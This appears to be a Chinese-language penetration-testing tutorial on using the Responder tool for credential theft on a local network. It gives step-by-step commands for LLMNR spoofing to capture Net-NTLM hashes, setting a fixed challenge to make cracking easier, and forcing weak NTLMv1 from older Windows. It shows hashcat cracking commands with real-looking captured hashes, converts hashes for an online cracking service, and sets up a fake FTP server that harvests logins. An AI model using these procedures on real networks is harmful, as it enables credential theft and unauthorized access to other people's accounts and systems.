Responder是一款可以在局域网模拟各种服务器的内网渗透神器

其可以在局域网中进行DNS欺骗、LLMNR欺骗等,实现对用户NTLM口令的探测以及DNS钓鱼

同时其还可以模拟包括FTP、HTTP在内的多种服务器,并记录用户登录凭证

利用LLMNR欺骗窃取用户口令

LLMNR协议负责在局域网中将计算机名转换为对应的IP地址,平时我们能通过\\AAA访问一台主机就是用了这种协议

当Windows访问共享资源时,对方主机有权对访问主机发起一次质询,在NET-NTLMv1协议中,这种质询会由服务器端生成一个随机质询数值,而客户端使用自己密码的哈希来DES加密这个质询值,并作为应答返回给服务器进行验证

在这个过程中,Responder会响应局域网内任意的LLMNR解析,并向主机发起质询,获取主机的Net-NTLM v1或者Net-NTLM v2应答值,通过欺骗这种应答值,我们就能通过字典爆破获取用户的明文密码

Responder设置

  1. 为了便于对哈希使用彩虹表破解,我们首先需要将我们的质询值设为固定值。目前破解网站常用的质询值为1122334455667788,在/etc/responder/Responder.conf 中,我们可以修改该值

    image-20210203003019182

    注:如果修改后启动Responder报错,请使用Python2启动程序

  2. 如果我们要欺骗的对象是Windows XP以及以前版本系统,我们可以要求Responder启动低版本的SMB共享服务,这样我们会得到一个纯粹的NTLMv1哈希,而不是加强版的NTLMv1+ECC哈希,前者容易被破解,而后者比较困难

    启动参数如下

    responder -I eth0 --lm

    如果欺骗的是新版本系统,则我们会得到Net-NTLMv2哈希,这种哈希目前一般只能在本地使用hashcat基于字典破解

  3. 启动后显示如下

    Xnip2021-02-02_21-13-52

访问获取NTLM哈希

接下来我们在同一个局域网中使用Windows XP系统在网上邻居中试图访问一台不存在的123的机器,Responder迅速给出应答并在屏幕上显示出用户哈希

Xnip2021-02-02_20-56-45

同时XP弹出没有访问权限的提示

image-20210203003919950

如果需要重复获取多次同一个用户的密码,使用下列参数启动:

python2 Responder.py -I eth0 -wrfv --lm

哈希处理与破解

  1. 如果拿到的是Net-NTLMv2哈希或者NTLMv1+ECC哈希,我们可以直接在本地使用hashcat+字典破解

    对于NTLMv1哈希,破解命令如下:

    hashcat -m 5500 Administrator::SYSTEMADMINC50B:2B6B134AF8D48F2A972BFF5660420D582F85252CC731BB25:5018402148E15A8D77CB22DD46F1449A2791416B73EE9C3D:1122334455667788 /tmp/password.list -o found.txt --force

    对于NTLMv2哈希,破解命令如下:

    hashcat -m 5600 a::192.168.62.139:c0b5429111f9c5f4:a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000 /tmp/password.list -o found.txt --force

    破解结果如下:

    Xnip2021-02-02_21-52-53

    Xnip2021-02-02_21-53-11

  2. 对于NTLM v1哈希,我们可以使用在线破解网站:https://crack.sh/get-cracking/

    (1)将上述输出的哈希使用项目:https://github.com/evilmog/ntlmv1-multi 中的ntlmv1.py进行转化,转化命令如下

    python3 ntlmv1.py --ntlmv1 Administrator::SYSTEMADMINC50B:2B6B134AF8D48F2A972BFF5660420D582F85252CC731BB25:5018402148E15A8D77CB22DD46F1449A2791416B73EE9C3D:1122334455667788

    (2)将结果中NTHASH:开头的字符串放入网站破解

    image-20210203004718915

    (3)填写自己的邮箱,大概1分钟后收到破解结果,为用户NTLM

    Xnip2021-02-02_21-16-08

    image-20210203004836312

    (4)NTLM解码得到密码

    Xnip2021-02-02_21-35-47

利用伪装服务器窃取用户口令

Responder可以伪装FTP、HTTP等多种服务器,窃取用户凭证,这里以伪装FTP服务器为例

  1. 启动Responder

  2. 使用FTP客户端连接Responder所在IP地址

    image-20210203005325610

  3. Responder中输出用户名和密码等凭证

    image-20210203005339416

参考文献

[1] Windows内网协议学习NTLM篇之Net-NTLM利用

[2] Windows下的密码hash——Net-NTLMv1介绍